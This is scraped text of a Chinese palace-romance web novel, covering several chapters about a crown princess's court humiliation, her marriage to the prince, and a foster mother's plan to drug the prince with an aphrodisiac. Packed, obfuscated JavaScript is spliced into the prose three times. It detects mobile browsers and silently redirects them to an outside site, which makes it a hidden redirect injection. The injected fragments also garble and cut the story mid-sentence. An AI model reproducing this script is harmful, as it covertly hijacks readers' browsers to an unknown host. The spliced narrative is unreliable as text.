贵妃睁开眼,目光射向她,没想到她竟没有想象中那般老实。 尹采绿本来是想老实的,但是身上的破绽不允许。 可贵妃打定了主意要罚她,当然不会轻易放过。 “若是本宫定要你抄呢?” 尹采绿面露震惊:“娘娘……” 贵妃上次还赏她东西呢,平时待她也极热络,怎的忽然变了副面孔。 见她一脸惊讶无措,贵妃轻笑,四下反正无外人,贵妃早做腻了那副好人面孔。 “太子妃当真是天真,本宫与皇后,三皇子与太子,天然是敌对身份,本宫现在铁了心要整治你一番,你又能如何?” 尹采绿圆睁着眼,她原本以为只是在“后娘”手底下讨生活不容易罢了,没想到竟是这般摆在明面上的针对。 对方以强权压人,就像是皇上突然要砍她头一样,虽然离谱,她还真没办法抗拒。 “蒋氏,去给太子妃膝下铺个跪垫。” 三皇子妃处处被太子妃压制,现在母妃有意在太子妃面前抬她身份,她心中自然得意。 “是,母妃。” 便有两个嬷嬷上前来押着尹采绿跪下。 贵妃自然是有恃无恐,太子妃又不是太子,皇上不会替她做主。 至于太子嘛,太子还管不着她这个做母妃的头上来。 若有机会却不整治她一番,贵妃心里不得劲儿。 尹采绿刚跪下,便有嬷嬷将备有笔墨纸砚的桌案搬到她身前。 “太子妃,请吧。” 若有人从外头看进来,里面也是一派祥和景象,毫无针锋相对。 尹采绿跪是跪下了,一直没有拿起笔来,只把头低低埋着,不敢对上任何人的视线,只想着,跪就跪吧,起码没人能押着她的手写字。 贵妃看去,只觉得她好清高的性子,跪都跪下了,抄上几页又如何,此人这般难管教,又实在不敢将人训斥得太过。 不过叫她被迫跪上一阵子,对这样品性的女子来说,已是极大的羞辱。 太子这边一得知太子妃并未立刻出宫,跟皇上的话还没说完,匆匆往延禧宫去了。 盛宇帝气得瞪眼:“朕叫俞光去处理便是,你大胆!往朕的后宫走什么!” 太子只扔下一句:“父皇恕罪。” 皇帝气急,俞光连忙上去安抚。 “你说说他,给朕摆个好脸子就那么难吗?他难道就不怕朕废……”顿了顿,话终是没说出口。 “皇上,太子生性如此,虽面上冷淡了些,奴才瞧着,他心里是极在乎您的。” 这边太子妃被太子从延禧宫接了出去,尹采绿倒没跪多久,贵妃和三皇子妃只觉得这回叫她受尽了羞辱,很是畅快。 赵清自是极心疼她的,若不是自己母后……罢了。 “太子妃,孤会帮你出气。” 尹采绿被他扶上轿子,待左看右看后,凑在他耳边如同机密一般说了句悄悄话:“殿下要当心贵妃,贵妃是个坏心思的,还有,三皇子也坏,他们想抢你位置呢,坏得很。” 18.心酸 贵妃不是坏人能是什么?好人么。 赵清心想着。 “太子妃,孤不是让你直接回府吗?” 尹采绿垂下头:“贵妃叫妾过去,妾还以为,贵妃当真是想与妾说说话儿呢。”她拉不下脸皮,便不好拒绝。 哪里知道恶意竟是能直接这样摆出来的。 赵清顿时有些哭笑不得,又不得不向她说清楚:“太子妃今后要记住,贵妃、三皇子与孤,是你死我活的关系,无论明面上如何。” 太子妃许是不在盛京长大的缘故,性子格外天真烂漫些,赵清今后不得不多教她。 尹采绿听得震惊不已:“是这样!” 赵清点头:“是这样。” 又补充道:“贵妃叫你去她宫里的时候,你就该直接走。” 尹采绿心里委屈:“可那时候她还朝妾笑。” 就想问,谁拉得下脸来拒绝。 赵清道:“那你现在可明白了?” 尹采绿点头:“明白了。”已经想好下次怎么对待贵妃了。 她心里偷笑着,赵清不知她在笑什么。 人前装乖,人后撕破脸,她今后也要叫贵妃尝尝她的手段。 赵清注视着她,心里越发觉得心酸,若他母后还在,太子妃在宫里必是什么也不用怕的。 更不必被贵妃忽悠着去什么延禧宫。 太子妃与母后是一样的性子,人前君子之风,人后却总是吃亏。 隐在车厢里,他半张脸黑了下来,这次的事情,就让赵渊来还。 到了太子府,太子扶太子妃下轿。 “文文,召徐詹事过来。” 太子妃刚被太子扶着站稳,太子朝她温声道:“太子妃先回房歇下,孤今晚要忙一会儿。” 尹采绿顺从地点头:“那殿下也不要太过操劳,早些休息。” 说完,太子妃便由侍女搀着回了后院儿。 竹萱一回来,便被翠影拉到隔间里。 “今日在宫里都看到些什么?听到些什么?” 竹萱愣住:“啊这……” 翠影拽了她一把:“这些本是夫人要我打听的,太子今日点了你去,你便该把所有事情都告诉我。” 竹萱想起今天跟着太子妃一路,听到的,看到的,现在还惊疑不定。 那,那能说吗? 竹萱只好把实在不能说的“太子与皇上差些吵起来”那段儿去了,把其他的都说了。 “你说太子妃今日被贵妃罚跪了?” 竹萱点头。 “她可有何处表现出了差错?” 竹萱觉得没有,太子妃挺好的,就是吃得多了些,三皇子妃在一旁全程没夹两筷子菜吃,太子也没动几口,太子妃却是筷子都伸到皇上面前那盘子里去了,可这严格说来,实在算不上是什么逾矩的,不过一张小围桌而已。 翠影不住地揣度着,太子妃若是出了差错,这可是要命的事儿,她与竹萱,整个薛家,都要陪葬,想到这儿,她怨怪地看了眼竹萱:“你怎的不多盯着她些,随时提点着。” 竹萱倒不觉得今天是什么大事,那贵妃本就不安好心。 太子妃由善静善和两个伺候着歇下,并不知太子书房里经过了一番彻夜讨论。 太子又是直至五更天才歇下。 尹采绿第二日一早起来时,天光已经大亮。 今日伺候她起床的是翠影。 翠影手脚麻利,向来是个体贴能干的丫鬟,但平常不怎么伺候她,但凡来伺候了,必是做得面面俱到的。 “太子妃昨日为何会被贵妃罚跪,可是何处做得不规矩了?” 翠影倒也不是非要兴师问罪,提前知道缘由,今后也好规避不是,太子妃比不得别人,处事更得万分小心才是。 尹采绿虽心知贵妃想整治她哪里需要什么理由,只是对翠影不能那么说。 “我也不知道,许是哪处举止冒犯了贵妃。” 翠影听了这话,眉头深深蹙起:“当初规矩该教的都是尽数教过你的,你若哪天不想活了,还望你念着我们薛家满府的性命,今后再小心谨慎些。” 尹采绿垂头应是,翠影这般阴阳怪气的又是作何,她哪里不想活了,她想活得很,更不会白白拖着薛家人赴死。 翠影又道:“夫人这几日在为大公子相看,不过看来看去总看不到合适的,夫人想叫你趁着六月份在府中办场赏荷宴,这是夫人拟好的宾客名单。” 尹采绿接过名单查看,虽大多数人不认识,但名字后面坠着的称呼表明,这其中都是些高门里尚未出嫁的千金小姐们,自然也包括了薛夫人本人。 这些小姐们,侯府寻常没有机由自是攀不上的,借着太子妃办的赏花宴,便都能聚在一起,说句不好听的,叫供薛夫人挑选。 尹采绿有些迟疑,觉得此事不太礼貌。 “这……要不还是算了吧,我没办过这样的赏荷宴,我怕办不好。” 翠影却道:“这是夫人的吩咐,再说了,我会帮你。” “可,是给大公子选妻啊,翠影,你不伤心吗?” 翠影面色不太自然,撇开头道:“说到将我抬给太子的事情,你办得怎么样了?” 尹采绿怔住,还真忘了这件事了,可眼下翠影又催得急,若她再不应,翠影怕是要找夫人告状去了,她不想被夫人认为自己是忘恩负义的人。 “那就今天晚上吧,如何?” 尹采绿小心道。 翠影点头:“你要怎么做?” 尹采绿双眸澄澈:“我晚饭时便与太子直说,就说我把你当做从小一起长大的姐妹,叫他抬了你。” 翠影皱眉:“这样可行吗?” 尹采绿默默垂下头,翻开一双眼:“那这还不行的话,难不成你去爬床?” 爬床说出来实在难听。 但不得不说,太子妃愿意亲自向太子提这件事,已是极为体面,又极为尽心的做法了。 翠影挑不出她的错。 “那好,那你便先提一下,你就说,你拿我当好姐姐,一辈子不想分开。” 尹采绿轻轻点头:“好。” 今日朝堂上发生了三件大事。 第一件事:太子当众指责三皇子举止不端,对兄长不敬,罚他正午时在太和殿前跪上三个时辰。 满朝皆哗然,盛宇帝虽心疼儿子,可偏就因为太子是当众罚的,他若是拆了太子的台,朝堂场面必将更加混乱。 贵妃在一旁求情,一面是宠妃,一面是太子威望,皇帝只能松了口:“就跪一个时辰吧,以后不许再对你兄长不敬。” 当众跪上一个时辰,再不算受罚,也是天大的耻辱,何况六月正午的阳光不是和善的。 贵妃只能咬牙认了。 太子朱衣佩玉,站在紫殿金阶之上,行如皓月,面如清风。 贵妃恨得牙痒,擦身而过时,凤目斜飞,满是蔑意:“太子就这么沉不住气吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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就算是毫无存在感的三房,自家祖上的爵位还能再袭一代,也是赚的。 何况爵位能从大房变成二房的,说不定下一代就变成三房的,谁说得准呢 太子回府时,远看去器朗神俊、冠玉秾姿,太子妃在廊下看得呆了。 太子唇角含笑,今日回来得尚早,可与太子妃一同用饭。 难得兴致,赵清叫文文在院子里依山傍水的柳树下搭了桌子。 “今天便在这里用饭吧,太子妃以为如何?” 太子妃站在离太子稍远一些的地方,正在琢磨要如何开口翠影的事。 太子妃绝不是个小气的女子,嫁给太子,太子今后会有侧妃、侍妾,再往后,太子登基了,也会有妃嫔,尹采绿嫁过来之前就是早做好准备了的,更何况,她本就是个替身而已,一想到这儿,她面上扶起一层哀怨。 太子在刚刚搭设好的石桌旁坐下,朝太子妃伸出手。 “过来。” 尹采绿才慢慢挪动步子过去。 站得远远的,又止住脚步,摇了摇头。 太子身子往前倾,手更往她那边伸了伸,温声缕缕惑人:“太子妃过来,到孤这里来。” 尹采绿这才又挪动步子,将手放在太子手心,谁料太子握住她手一个用力,一下将她拉坐在了腿上,环抱住了。 远看去,臂挽柳腰,莺姿怯怯。 19.春色 翠影听说了薛府的事,惊讶之余,伤心更甚。 更不知大公子要如何伤心了。 圣旨传出的时候,太子妃便让芳嬷嬷备了礼,准备叫人送去薛府恭贺,这个活儿被翠影揽下了。 尹采绿嘱咐她:“别送错了,翠影,这是给二房的礼。” 翠影点头:“我知道。” 事情倒也不能说太子妃没给帮着办,太子妃是办了事的,否则皇上连二房的爵位也不会给。 翠影实在不好指责太子妃什么,只想快些回去,与夫人诉诉苦,再见一见大公子。 说回这边的太子与太子妃。 尹采绿娇怯倚在太子怀中,作含羞态。 又一边悄然打量他,太子今日看起来心情很好,如今天还没黑透,已将她抱着拥着的了,晚上定要同她一起睡觉的。 太子只将她抱了一会儿,待文文叫人过来上菜,他便将太子妃放下,叫她坐到一旁的凳子上去。 远看去,暮色轻拢,柳垂碧帐。 尹采绿今日未用妆,素衣胜雪,一袭冰绡玉骨。 昨日带回来的那筐蟹今日上了桌。 太子今日却没有亲手替她拆蟹,只叫来善静。 “太子妃太瘦了,要多吃些。” 也不怪尹采绿身形消瘦,要跳出绿腰舞轻盈之态,腰上便是多不得一寸肉的。 尹采绿止住善静的动作:“不必拆了,我自己可以。” 赵清以为太子妃要使点小性儿,求他来拆,倒也并无不可。 可太子妃直接用手拿起蟹腿,将蟹身沾满了酱汁,露出黄的那一半塞进嘴里。 嘴唇用力,吸溜片刻,壳便空了,再有吸不干净的,便嚼碎了再把壳吐出来。 赵清朝她笑:“太子妃原来是这样吃蟹的。” 尹采绿点头:“殿下也试试。” 又叫文文上了酒来。 太子犹豫片刻,没有上手,那筷子去夹了送入口中,也学着太子妃那般吸溜。 如此一来,酱蟹风味比从前要好得多。 太子并未多吃,只吃了一只,便停下了。 桌上菜式大多都是浅尝辄止,随后便停下来看太子妃吃。 “陇州产蟹吗?孤看太子妃甚爱吃蟹。” 太子温声问道。 尹采绿怔住。 陇州是否产蟹,她也不知道,因为她从未去过陇州。 “孤好像记得,陇州地处关中平原,应是不产蟹的。” 尹采绿点头:“妾爱吃,但妾也不常能吃到,蟹金贵,中原少有。” 赵清点头:“中原的确少有,孤往后有机会可叫人去江南替你采买几筐回来,不过此物性寒,太子妃虽贪嘴,也不要多吃。” 尹采绿住了嘴。 摆手道:“殿下,不必叫人替妾采买,妾也不是那么爱吃。” 若叫人去了江南,一不小心打听到,江南曾经有位倾城名妓采绿娘子。 这位采绿娘子的元夜拍出了千两金的高价。 若再打听,说不定能听到有位姓温的公子在四处叫冤:“我的千两金啊,采绿娘子,你在何处,把欠我的银子还我,要么给人,要么给银子。” 尹采绿连忙甩了甩脑袋,再想下去不得了了。 按理说,她的元夜是该归温公子的,可如今却归了太子。 只希望两人永远不要见面才好,否则温公子怕是要说,是太子抢了他的,太子要如何先不说,她的小命肯定难保。 思绪飘荡得越发离谱,且不说温公子既掏得出那笔银子,向来是个世家子弟,体面人,又怎会到处喊冤,士大夫的名声还要不要了。 再说,一个在江南,一个在中原以北的盛京,隔得远着呢。 用完饭,各自沐浴后,太子与太子妃躺到了一张榻上。 红帐子撒落下来,帐中自有一番旖旎景象。 太子妃仰躺,香肌胜雪,云鬟松挽。 太子丰神如玉,单手支在太子妃身侧,凝视太子妃。 二人自要缱绻熏陶一番,才好步入正题。 太子手里捏着一本千字文,指尖轻点:“昨日刚教过你的,今日便忘了吗?” 太子妃支支吾吾。 “这个字念什么?说说。” “妾不知。” “念出来。” 尹采绿脑袋歪了歪,试探着:“许是……念相?” 太子一脸严厉神情骤然化开,伸手轻拨了下太子妃鼻尖,笑道:“是霜。” “哦哦,妾想起来了,就是念霜。” “云腾致雨,露结为霜。太子妃只需记住这些常识,便能读懂千字文。” 认字不难,像这样结合上下文和常识的认字更不难,太子对太子妃很有信心。 他笑着,往后又翻了一页:“今晚再学五句。” 太子妃眨了眨眼,手往太子腰上揽去。 郎君正斜卧,窄腰隐现,罗带松垂。 “妾累了。” 太子妃总是这样,每日学不了两句便要说自己累了。 赵清有意要对她严厉一些。 尹采绿唇微张,跟着他一同念字,他的指尖指到哪儿她便读到哪儿。 遇到不会的,两腮含羞,便不语了。 太子又将字念出来教她。 她的手已解开他的衣带,露出半边腰。 她的指尖沿着腹中一条凹陷来回滑动,已不知自己念到了何字。 “妾给殿下唱支小曲儿吧。” 赵清合拢书册,轻叹了声,只道:“唱吧。” 那根手指还在他腹中的凹陷上划着,似在打节拍一般。 “红满枝,绿满枝,宿雨恹恹睡起迟……” 檀口轻张,时而浅唱低回,时而轻吟慢转,莺喉婉转。 翠影不在,她今日可放肆些,许久未吊出来的小嗓儿今日格外妖娆。 太子闻音绕耳,神态渐渐柔和,捉住了她抚弄他腹间的手。 他的眼眸微阖,注视她开合的唇,拨转的舌。 他斜斜倚在榻上,一条腿支起,玉带松松挎在腰间,一只手慵懒撑着头。 不一会儿,他的头微微往后仰,脖颈舒展,薄唇轻抿着,指尖打起了节拍。 眼神未从她身上离开过。 一曲唱罢,尹采绿仰躺的视角,眼眸渐渐往上翻开,去看他。 太子将手放下来,绕着她鬓边的发。 “太子妃何处学来的,这般曲调。” 尹采绿翻下眼眸,略收了神采,看起来安静乖巧。 “自小偶然听见的,妾私下里爱唱,便学会了。” 太子没再多问,只“嗯”了一声。 指尖伸去剥开她松松拢着的寝衣,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565356|170790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灭了床头的烛火,宽大的鸳鸯绣被往上一拉。 帐子里陷入伸手不见五指的黑暗,待目光适应了以后,便能看见那影影绰绰的如山峦一般的脊背在起伏。 今日太子使的劲儿比以往都要大些。 越是灭了烛火,看不清他神色和身体姿态,尹采绿便越是好奇,他如今是何种模样,是否还如刚刚教她认字时那般,严肃认真。 太子的确做得很严肃,此事须得认真对待。 只是今日实在没太收着劲儿,他也觉得自己放肆了些,许是刚刚那小曲儿实在挠人心,那娇吟软语啊。 直到太子妃悠悠娇吟又在耳边响起,轻声哼出叹声、呼声,赵清轻叹了一声,越发卖力了。便又使了两下劲儿,他越发酣畅淋漓,太子妃低回娇喘,轻音慵懒,帐中春色愈发浓了。 芳嬷嬷在屋外候着,善静善和两个丫头都困了。 “你们俩先睡去吧,我在这儿守着就行。” 善静善和听着房中声响,怪不好意思的。 往常太子与太子妃从不弄出声响的,上次在书房,也就有一些水声和啪嗒碰撞声,怎么这一回,叫人听得越发脸红了。 太子妃声音实在婉转挠人,芳嬷嬷都听得老脸一红。 “行了行了,你们两个丫头先睡去吧。” 善静善和也不推让,便先去歇了:“嬷嬷有事叫我们。” 芳嬷嬷大概守到了后半夜,里头才传出声响,亮了灯烛。 她连忙叫醒两个丫鬟,将一直温在炉子上的水提到浴房里,倒进浴桶中。 芳嬷嬷都没有歇息上,文文自然也只有候着。 他站起身:“该忙活起来了。”打了个呵欠。 从前侍奉太子与徐詹事那些人谈话到五更天,现在侍奉太子沐浴也得候到五更天。 文文心里想,若太子与太子妃以后都选白天办事该多好。 可惜他终归是胡思乱想,白日怎可做那事。 太子与太子妃分别沐浴去了,芳嬷嬷趁着榻上空闲,连忙换了新的床单被褥上去。 之前的都皱巴得不能看了,一入了帐子里,这气味熏得芳嬷嬷险些厥过去。 淡定,淡定,这活儿还真就只有她一个老嬷嬷能干,羞不到她的老脸。 换好新的床单,帐子里气味略微消散了一些。 太子先回来,太子妃要洗得久一些,过了一会儿才回来。 两人并排平躺在榻上,又重新熄了烛火,隐于黑暗。 尹采绿几乎快睡着了,又听见旁边人一句:“太子妃,晚安。” “嗯,殿下也晚安。” 她忽然想起,自己晚上忘了说一件事儿。 可这般氛围,说那个合适么? 先不管了,尹采绿将被子往头上一拉,很快睡去。 第二日一早,翠影回来了,脸色并不好看。 还对她说:“夫人叫你回去一趟,有事要与你交代。” 今日薛府上要办宴,太子妃回娘家去一趟也是合情合理的。 尹采绿问翠影:“夫人还好吗?” 翠影答:“难为你会关心夫人,夫人很好,只是大公子不太好。” 尹采绿先是松了一口气,然后强压住唇角不住扬起的笑意:“这样啊,那可怎么办呢。” 翠影没顾上看她,不知太子妃今日样貌娇媚得过分。 20.烈药 今日薛府办宴,恭贺二房的小公子被皇上封了世子。 这宴席是老太太亲手操办的。 老太太不愧是身居后宅高位多年的老太君了,办出宴席来,很是体面好看,排场也大。 薛府比起早两年,是要热闹得多了,凡是递出去的帖子,便没有不来的。 何况今日太子妃也要到场,只太子怕是还不至于到这样的场面上来。 说起来,薛府只是封了个世子而已,实在不必要办这么大排场出来。 但人家乐意,盛京城中的人自不会说什么。 带上礼,来吃席便是了。 尹采绿是带着翠影和竹萱两个回来的,只出门前,太子特地叫芳嬷嬷跟了上去。 芳嬷嬷来了这等场合,薛家人识得她的分量,刚来就把人请到席上坐着去了。 太子妃好不容易回来一趟,自然是要去见自己母亲,她作为太子妃夫家的人,是有一点分寸在身上的,也不好跟着去,便顺着落了座。 尹采绿使人把礼给搬下来,先去见了崔婉清。 崔婉清见了她只微微颔首,一句:“你来了。”面容冷淡得不行。 尹采绿点头,道了一声“母亲”,便站在她身边。 今日这席也不必崔婉清亲自待客,自有葛氏在前院儿招呼,崔婉清也懒得去替二房招待。 不过大房今日再是不如二房风光,也还有个太子妃站在这儿,不少女眷要来见过太子妃,顺道向崔婉清打个招呼。 崔婉清一一回了,脸上说不出不高兴,但也说不出高兴来。 但这位从前是崔氏的大小姐,架子一向端得高,就是太子妃出嫁当日,也没见她笑两下。 薛兴昌今日不痛快,连客也不想见,尹采绿只听见崔婉清在朝侯爷碎碎念道: “都是一家人,谁的荣耀不是你的荣耀呢,侯爷一定要这般小气吗?瞧你二弟在外头多风光。” 气得薛兴昌昨晚就没吃下饭。 尹采绿只敛眉站在角落处,轻易不言语,过了一会儿,薛明澜从外面进来,压低了声音斥责她:“你是如何办的事?好端端的爵位怎么到了二房。” “明澜,不可这样说话。”崔婉清连忙制止。 尹采绿一边因着大公子的气势害怕着往后退,一边面露委屈巴巴的模样。 崔婉清伸手撑住她的腰,冷声安慰着:“别在意,你哥哥脾气一向是那样。” 太子妃嫁去太子府不久,封世子旨意就下来了,明摆着太子妃在这里面必然是使了力的,并且使的这力也是有用的。 越是如此,崔婉清才越不敢轻视了她,更不敢像薛明澜那样指责她。 只是旨意传下来稍有偏颇,圣意难测,也不能怪到太子妃身上。 尹采绿是惯会气人的,垂着脑袋,声音怯怯:“哥哥,别生气,妹妹已经尽力而为了。” 薛明澜朝她怒目而视:“我一早便知你是个无用的,你占了我妹妹的身份,当真腆着脸做这个太子妃,架子还叫你端上了,真称得上是厚颜无耻!” 尹采绿一声不吭,但默默记仇,说吧,再多说些,她一定一声不响地把薛明澜往后能获得的任何好处都悄悄转给旁人。 管他二房也好,三房也罢,总之尹采绿就不给他。 有本事,叫他自己考科举去。 还真当她是什么温婉贤德的大家闺秀了,她就是个小气性子,睚眦必报的底层小女子,哼。 崔婉清没能堵住儿子的嘴,也不免要细心打量一番太子妃神情,见她还是那般低鬟垂首,眉目温顺,才松了口气。 当初捡她时,便是指望着,她是个好掌控的女子。 崔婉清揽过她的肩,随意哄了两句:“别管她,咱们娘俩到前厅去见老太太去。” 在老太太那儿,尹采绿就是她嫡亲的孙女儿,谁也改不了的。 只要薛明澜不在,尹采绿在这府里,便是前呼后拥,众人都追着捧着的。 也因此,除了薛明澜以外,尹采绿对薛家还是感恩更多的。 大房也不光只有薛静蕴与薛明澜两个晚辈,薛兴昌的后院儿里,庶出的弟弟妹妹们也是有几个的。 众人捧着太子妃,一路走到前厅里,崔婉清顺道把事情说了出来: “翠影应当事先与你讲过了,六月荷花开得正好,还请太子妃在太子府中办宴,也好趁机为你哥哥择一贤妻。” 又是薛明澜的事儿。 在薛明澜丢了继承父亲爵位的资格后,崔婉清越发重视他的妻子人选。 家中最多将薛明澜托举到一个四品官,若要再往上,仰仗岳家或许可行。 崔婉清殷切拉着尹采绿的手,刚才薛明澜打了她一“巴掌”,她现在就得给她一颗“甜枣”。 这女子既说自己是孤儿,必是没有母亲的。 “好孩子,母亲拜托你了。” 崔婉清深知,对于没有母亲的人,任何一个怀抱都能让她感动不已。 尹采绿被崔婉清抱在怀里,其实只要是夫人亲口提的要求,她就没有不应的。 “母亲放心,我办就是了。”她柔柔开口。 太子府发出的请帖,再是什么高门贵女,也是要赏脸的,薛夫人真是要把她这层身份用到极致。 “哟,太子妃娘娘回来了,臣妇这便给太子妃请安。” 尹采绿扶起二伯母,笑道:“二伯母,一家人不必拘礼。” 葛氏巴不得太子妃与她热络,便叫她一同到前厅待客。 尹采绿本就有心锻炼自己,便把架子端起来了,迎来送往,神采好不气派。 崔婉清吩咐完尹采绿那边,便叫翠影到跟前私下见了面。 “我上次叫你办的事情,办得怎么样了?” 翠影蹙着眉轻叹:“此事怕是难,太子从不多看奴婢一眼,只太子妃答应了,会在太子跟前提。” 一夜过去,翠影心里念着大公子,也忘了问太子妃了。 听她这么说,崔婉清嗤笑一声:“太子妃答应你?太子看都不看你一眼,此路怎么可能走得通。” “可是也没别的办法了。” 崔婉清勾起唇角:“谁说没有别的办法了。” 她从袖中掏出一瓶药粉递给翠影。 “夫人,这是何物?”翠影接过药瓶,疑惑道。 “此物无色无味,只需撒上一些到茶里。” 翠影问道:“有何作用?”心下却已有了令人害怕的猜测。 崔婉清道:“这不是瞧你实在没有办法了么,春.|药而已,你说能有什么作用?只是这药格外烈了些,会最大限度放大人心里的欲望,若不及时消解,必是抓心挠肝的难受。” 太子又不是什么修佛修道的圣子,翠影更不是什么睡不得的圣女,一个太子妃身边的丫鬟而已,堂堂太子何须忍着,依崔婉清看,这事到头便是顺水推舟,容易办得很。 自从替自己女儿找了替身做太子妃以后,崔婉清行事越发没有顾忌了。 若是让侯爷知道,怕是要骂她是个疯子。 翠影拿着药瓶,心中忐忑。 “可,太子若是出了什么事……” “此事你自己决定办与不办,去吧。”崔婉清不欲与她多说,打断她之后,转身便走了。 翠影拿着药,独自犹豫。 到了下午,两个丫鬟,一个嬷嬷,侍奉太子妃回到太子府。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵清在书案后坐下,文文进来点了让人静心的檀香,青烟袅袅升起,尹采绿揣度着,要如何开口两件事情,一件是翠影的事,一件是薛夫人托她办宴的事。 这宴,借的是太子府的势,尹采绿还不确定能得了太子的允许,不过太子平日待她的确温善,应当没什么不允许的。 “太子妃,过来替孤磨墨。”赵清头也不抬,蹙眉看折子,提朱笔挥了上去。 尹采绿从思绪中回过神,走至书案旁站定。 替太子磨墨,是她身为太子妃应该做的。 她手拿起墨条,往砚台中滴入几滴清水,腰肢微微倾斜,便开始磨起来,翘着兰花儿指。 赵清专注于手上事务了好一会儿,正要提笔蘸墨时抬眸看她。 “太子妃,你不会磨墨?” 他忘了,太子妃之前连字都不会认,被外祖家里娇惯至此,又怎么会磨墨,倒是嫁到他这太子府来,受委屈了。 他伸手把住她手上的墨条:“孤还是自己来吧。” 尹采绿也不跟他抢,只觉得自己这个太子妃做得实在不到位。 便又轻轻走了几步,绕至太子身后,将手轻轻搭在了他肩上:“殿下,妾替你捏捏肩吧。” 她的手法是很好的。 “嗯。”赵清只略答了一声。 尹采绿指尖轻柔,放在他的肩上缓缓揉捻,手腕轻轻转动着,轻轻浅浅地呼吸着。 捏着捏着,赵清忽然顿住了笔尖的动作。 “太子妃……手艺甚好。” 她的手指又捏上他的耳垂:“殿下每日劳神,妾再替你按一按穴位。” 她吐气如兰,指尖轻轻揉捻他耳垂,面上憨呆。 赵清兀自转头看了眼天色。 “还不到时辰。” “嗯?殿下要看什么时辰?” “与太子妃安寝的时辰。”赵清转身将她拉过来,裹进怀里,手掌着她的腰。 “你消停一会儿,等夜了吧。”太子将头埋进太子妃的脖颈,猛吸一口,神情克制。